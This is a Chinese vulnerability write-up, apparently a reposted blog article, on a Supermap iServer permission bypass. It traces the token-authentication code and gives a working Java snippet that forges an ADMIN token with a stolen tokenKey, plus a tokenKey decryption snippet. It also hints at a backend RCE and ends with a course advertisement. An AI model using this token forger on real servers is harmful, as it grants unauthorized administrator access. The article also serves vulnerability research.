文章总结: 本文分析SupermapiServer权限绕过漏洞,通过读取配置文件获取tokenkey后解密token实现身份伪造。详细解析了SecurityHandler鉴权流程,包括JWT解码失败时调用TokenUtil.getTokenInfo方法进行AES解密的过程,并提供了关键代码片段说明漏洞利用链。
综合评分: 85
文章分类: 漏洞分析,WEB安全,代码审计,实战经验,安全工具
Supermap iServer历史漏洞浅析(下)
原创
路人甲
路人甲
红细胞安全实验室
2026年3月31日 10:19
广东
在小说阅读器读本章
去阅读
权限绕过
在上一篇文章中我们提及到有文件读取漏洞的基础上,我们可以读取iserver的配置文件WEB-INF/iserver-system.xml以及数据库文件WEB-INF/iserver-security.db来实现获取Token。在配置文件中存在很多关键配置信息,其中就包含了我们所需的tokenkey
iserver的主要鉴权逻辑发生在com.supermap.server.host.webapp.handlers.SecurityHandler#handle方法里面,这里的com.supermap.server.host.webapp.handlers.SecurityHandler#doAuthenticateAndAuthorizate是主要鉴权方法
其底层会调用com.supermap.services.security.MyShiroFilter#shiroFilterInternal通过shiro进行鉴权过滤,不过这里在通过规则过滤请求的时候会获取当前请求身份信息
protected WebSubject createSubject(ServletRequest servletRequest, ServletResponse servletResponse) {
HttpServletRequest var3 = (HttpServletRequest)servletRequest;
HttpServletResponse var4 = (HttpServletResponse)servletResponse;
WebSubject var5 = this.c.create(var3, var4, this.getSecurityManager());
if (var5 != null) {
return var5;
} else {
// 从请求头或参数、cookie等地方获取凭据信息
String var6 = TokenRequestUtil.getToken(var3);
if (!StringUtils.isNotEmpty(var6)) {
WebSubject var17 = super.createSubject(var3, var4);
if (!SecurityUtility.isLogin(var3) && !var17.isAuthenticated() && !var17.isRemembered() && !StringUtils.startsWith(AbstractHandler.getPathInfo(var3), "/shiro-cas")) {
ShiroUtil.loginAsGuest(var3, var4, var17);
return (WebSubject)ThreadContext.getSubject();
} else {
return var17;
}
} else {
// 先尝试JWT解码获取凭据信息(主要针对于启用KeyCloak的场景)
JsonWebSignature var7 = JwtUtil.getJsonWebSignature(var6);
if (var7 != null) {
KeycloakConfig var8 = Manager.getInstance().getKeycloakConfig();
JwkUtil var9 = JwkUtil.getInstance();
Optional var10 = Optional.empty();
if (StringUtils.equals(var7.getHeader("kid"), var9.getJwkId())) {
var10 = JwtUtil.decodeJwt(var6, var9.getPublicKey(), var7.getHeader("alg"), "https://www.supermap.com", 0, var3);
} else if (var8.isEnable()) {
var10 = JwtUtil.decodeJwtFromKeycloak(var8, var7, var6);
}
if (var10.isPresent()) {
if (StringUtils.endsWith(var3.getRequestURI(), "/web/config/userprofile.json") && !StringUtils.equals(var7.getHeader("kid"), var9.getJwkId())) {
var6 = this.a(var6, var8);
var7 = JwtUtil.getJsonWebSignature(var6);
var10 = JwtUtil.decodeJwtFromKeycloak(var8, var7, var6);
KeycloakOidcProfile var11 = new KeycloakOidcProfile();
var10.ifPresent((var1) -> var1.getClaimsMap().forEach(var11::addAttribute));
CommonProfile var12 = this.d.generate((WebContext)null, var11);
LinkedHashMap var13 = new LinkedHashMap();
var13.put("KeycloakOidcProfile", var12);
Pac4jToken var14 = new Pac4jToken(var13, true);
ShiroUtil.getSubject(var3, var4).login(var14);
} else {
TokenRequestUtil.login(var3, var4, (JwtClaims)var10.get());
}
}
} else {
// 解密获取凭据信息
TokenInfo var18 = TokenUtil.getInstance().getTokenInfo(var6);
TokenRequestUtil.login(var3, var4, var18);
}
return (WebSubject)ThreadContext.getSubject();
}
}
}
// 获取凭据信息
public static String getToken(HttpServletRequest request) {
TOKEN_STR = Tool.getTokenName();
if (request.getHeaderNames() != null) {
Enumeration var1 = request.getHeaderNames();
while(var1.hasMoreElements()) {
String var2 = (String)var1.nextElement();
if (org.apache.commons.lang3.StringUtils.equalsIgnoreCase("Authorization", var2)) {
String var3 = request.getHeader(var2);
if (org.apache.commons.lang3.StringUtils.isNotBlank(var3)) {
String var4 = org.apache.commons.lang3.StringUtils.replaceIgnoreCase(var3, "Bearer", "").trim();
if (org.apache.commons.lang3.StringUtils.isNotBlank(var4)) {
return var4;
}
}
}
}
}
String var7 = request.getQueryString();
String var8 = getTokenFromQueryString(var7);
if (var8 != null) {
return var8;
} else {
if (request.getCookies() != null) {
for(Cookie var6 : request.getCookies()) {
if (org.apache.commons.lang3.StringUtils.equalsIgnoreCase(var6.getName(), TOKEN_STR)) {
var8 = var6.getValue();
if (org.apache.commons.lang3.StringUtils.isNotEmpty(var8)) {
return var8;
}
}
}
}
if (request.getHeaderNames() != null) {
Enumeration var10 = request.getHeaderNames();
while(var10.hasMoreElements()) {
String var12 = (String)var10.nextElement();
if (TOKEN_STR.equals(var12)) {
var8 = request.getHeader(var12);
if (org.apache.commons.lang3.StringUtils.isNotEmpty(var8)) {
return var8;
}
}
}
}
return var8;
}
}
在这个方法里面如果是通过JWT的方式解码获取身份信息失败的话会尝试调用com.supermap.services.security.TokenUtil#getTokenInfo方法获取身份信息
通过解密token并解析获取身份信息
public TokenInfo getTokenInfo(String token) {
String var2 = this.getTokenKey();
if (var2 == null) {
d.info(c.getMessage(SecurityManageResource.TOKENUTIL_HAVENOT_SET_TOKENKEY, new Object[0]));
return null;
} else {
AESCipher var3 = new AESCipher(var2);
try {
String var4 = var3.decrypt(token);
return this.a(var4);
} catch (SecurityException var5) {
d.debug(var5.getMessage(), var5);
return null;
} catch (UnsupportedEncodingException var6) {
d.debug(var6.getMessage(), var6);
return null;
}
}
}
public String getTokenKey() {
return this.b;
}
public void setTokenKey(String key) {
if (!StringUtils.isEmpty(key)) {
d.debug(String.format("TokenUtil.change tokenKey from %s to %s", this.b, key));
this.b = key;
} else {
throw new IllegalArgumentException(c.getMessage(SecurityManageResource.TOKENUTIL_TOKENKEY_NULL_OR_ZERO_LENGTH, new Object[0]));
}
}
public AESCipher(String key) throws SecurityException {
this(key, false);
}
public String decrypt(String str) throws SecurityException, UnsupportedEncodingException {
try {
Cipher var2 = this.c();
if (str == null) {
throw new SecurityException("Decrypt string is null");
} else {
String var3 = str.replace('_', '/').replace('-', '+').replace('.', '=');
byte[] var4 = Base64.decodeBase64(var3.getBytes());
byte[] var5 = var2.doFinal(var4);
return new String(var5, "UTF8");
}
} catch (Exception var6) {
throw new SecurityException("Could not decrypt: " + var6.getMessage(), var6);
}
}
private TokenInfo a(String var1) {
if (!StringUtils.isEmpty(var1)) {
// 以特定字符串'#;_&_&;#'切割
String[] var2 = var1.split("#;_&_&;#");
if (var2.length != 4) {
d.info(c.getMessage(SecurityManageResource.TOKENUTIL_RESERVETOKENINFO_TOKEN_INVALID_LENGTH, new Object[0]));
return null;
} else {
// 构造Token信息
TokenInfo var3 = new TokenInfo();
var3.userName = var2[0];
try {
var3.expirationTimeMillis = Long.valueOf(var2[1]);
} catch (NumberFormatException var7) {
d.info(c.getMessage(SecurityManageResource.TOKENUTIL_RESERVETOKENINFO_TOKEN_INVALID_EXPIRATIONDATE, new Object[0]));
return null;
}
Object var4 = null;
try {
var8 = (ClientIdentifyType)ClientIdentifyType.valueOf(ClientIdentifyType.class, var2[2]);
} catch (IllegalArgumentException var6) {
d.info(c.getMessage(SecurityManageResource.TOKENUTIL_RESERVETOKENINFO_TOKEN_INVALID_CLIENTTYPE, new Object[0]));
d.debug(var6.getMessage(), var6);
return null;
}
var3.clientType = var8;
if (ClientIdentifyType.Referer.equals(var8)) {
var3.refererURL = var2[3];
} else if (ClientIdentifyType.IP.equals(var8)) {
var3.ip = var2[3];
}
return var3;
}
} else {
d.info(c.getMessage(SecurityManageResource.TOKENUTIL_RESERVETOKENINFO_TOKEN_NULL_OR_ZERO_LENGTH, new Object[0]));
return null;
}
}
通过前面解密获取到Token信息后会调用com.supermap.services.security.TokenRequestUtil#login方法登录相关的用户并且设置上下文信息
public static void login(HttpServletRequest request, HttpServletResponse response, TokenInfo tokenInfo) {
if (tokenInfo == null) {
throw new HttpException(Status.CLIENT_ERROR_UNAUTHORIZED, a.getMessage(SecurityManageResource.EXTRAINFOFILTER_TOKEN_INVALID, new Object[0]));
} else {
UsernamePasswordToken var3 = a(request, tokenInfo);
a(request, response, var3);
}
}
static UsernamePasswordToken a(HttpServletRequest var0, TokenInfo var1) {
if (var1 == null) {
throw new HttpException(Status.CLIENT_ERROR_UNAUTHORIZED, a.getMessage(SecurityManageResource.EXTRAINFOFILTER_TOKEN_INVALID, new Object[0]));
} else {
String var2 = var1.userName;
if (org.apache.commons.lang3.StringUtils.isNotEmpty(var1.ip)) {
String var3 = var0.getRemoteHost();
if (!var1.ip.equals(var3)) {
throw new HttpException(Status.CLIENT_ERROR_UNAUTHORIZED, a.getMessage(SecurityManageResource.EXTRAINFOFILTER_TOKEN_INVALID, new Object[0]));
}
} else if (org.apache.commons.lang3.StringUtils.isNotEmpty(var1.refererURL)) {
String var4 = var0.getHeader("referer");
if (org.apache.commons.lang3.StringUtils.isEmpty(var4) || !var4.startsWith(var1.refererURL)) {
throw new HttpException(Status.CLIENT_ERROR_UNAUTHORIZED, a.getMessage(SecurityManageResource.EXTRAINFOFILTER_TOKEN_INVALID, new Object[0]));
}
}
// token有效性判断
if (System.currentTimeMillis() > var1.expirationTimeMillis) {
throw new HttpException(Status.CLIENT_ERROR_UNAUTHORIZED, a.getMessage(SecurityManageResource.EXTRAINFOFILTER_TOKEN_INVALID, new Object[0]));
} else {
// 构造token
return (new BuiltInToken(var2)).principal(getToken(var0), "digestrealm").permission(new String[]{"denied:webmanager"}).lookupPermission(true).lookupRole(true);
}
}
}
private static void a(HttpServletRequest var0, HttpServletResponse var1, UsernamePasswordToken var2) {
ShiroUtil.login(var0, var1, var2);
Subject var3 = SecurityUtils.getSubject();
var0.setAttribute("subject", var3);
var0.setAttribute("logout", "true");
}
public static void login(HttpServletRequest request, HttpServletResponse response, UsernamePasswordToken usernamePasswordToken) {
Subject var3 = getSubject(request, response);
a(var3, request, usernamePasswordToken);
}
可以看到这里有个关键值就是这个TokenKey,也就是AES密钥,它的来源位于com.supermap.server.host.webapp.handlers.SecurityHandler#d方法,也就是Supermap iServer配置文件里面的tokenKey
之所以是配置文件里面的tokenKey原因是这个SecuritySetting本质上就是从iserver-system.xml解析得到的
以上便是我们要拿到tokenkey的原因,因为有了它我们便可以自己构造身份信息,这里尝试构造了一个凭据信息可以看到进入触发如下调用,成功构造出了身份信息了也就实现了权限绕过
通过前面分析我们知道有了tokenKey并可以实现权限绕过,在读取到配置文件并拿到tokenKey之后我们就可以通过如下代码自己构造凭据
import com.supermap.services.util.AESCipher;
import java.io.UnsupportedEncodingException;
public class GenToken {
public static void main(String[] args) throws UnsupportedEncodingException {
long now = System.currentTimeMillis();
long oneDayLater = now + 24 * 60 * 60 * 1000;
// ADMIN是管理员名
String token="ADMIN#;_&_&;#"+oneDayLater+"#;_&_&;#NONE#;_&_&;#NONE";
// tokenkey
AESCipher var4 = new AESCipher("cd821aeb3eaa448ea3fc4a610f199f8a");
System.out.println(var4.encrypt(token));
}
}
不过实战读取的时候一般是加密的情况,如本文开头所示。在前面分析过tokenKey来自于com.supermap.server.config.impl.XMLConfigImpl#b(java.io.File)读取配置文件获取到的
这一块在启动阶段完成的初始化,我们想要获取解密后的tokenkey有两种方法,读取目标的配置信息把里面的加密tokenkey替换到自己本地iserver里面,然后debug查看解密后的tokenkey,相当于就是利用iserver自身解密功能把他当作一个解密工具,还有一种方法就是debug解密逻辑,这里在com.supermap.server.config.impl.SystemConfigParser#getSecuritySetting方法下断重启debug解密逻辑
这里通过一步一步debug发现最终会调用com.supermap.services.util.StringEncryptionUtil#decrypt(java.lang.String)方法解密tokenKey
可以看到,当tokenKey是加密数据的时候会调用com.supermap.services.util.StringEncryptionUtil#a()方法创建解密器解密,其内部逻辑较为麻烦,实战场景建议直接写Java利用工具,引用其自身库解密,或者让AI进行代码转换
这里给出解密示例
import com.supermap.services.util.StringEncryptionUtil;
public class TokenkeyDecrypt {
public static void main(String[] args) throws Exception {
System.out.println(StringEncryptionUtil.decrypt("ENC@[xxxx]"));
}
}
后台RCE
SecurityHandler当中的逻辑懂的都懂
最后
本文当中所提及内容均来自实战代码审计班课程内容,关于该产品更加深入利用手法可以咨询课程
顺便再推荐一下我师傅的代码审计课程。近期某统一认证产品的课程章节已结束,马上开启某报表的章节,感兴趣的朋友可以尽快加入。课程中包含各类产品最新补丁对应的 0day 漏洞(非水洞) 的挖掘与分析;过往课程也涵盖多款市面产品的 0day / 1day / nday 漏洞案例讲解。课程后续会持续更新推进,支持一次报名长期学习与答疑。适合真正对代码审计感兴趣、或想系统学习但缺少思路与方法体系的同学(如有其他目的请勿打扰)。对基础要求不高,能读懂代码即可,真正帮助你从只能读懂代码到找到问题。个人学习过程中受益良多,特此分享推荐给希望提升自己的朋友(非广告)。若有打扰,敬请见谅。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:红细胞安全实验室 路人甲
路人甲《Supermap iServer历史漏洞浅析(下)》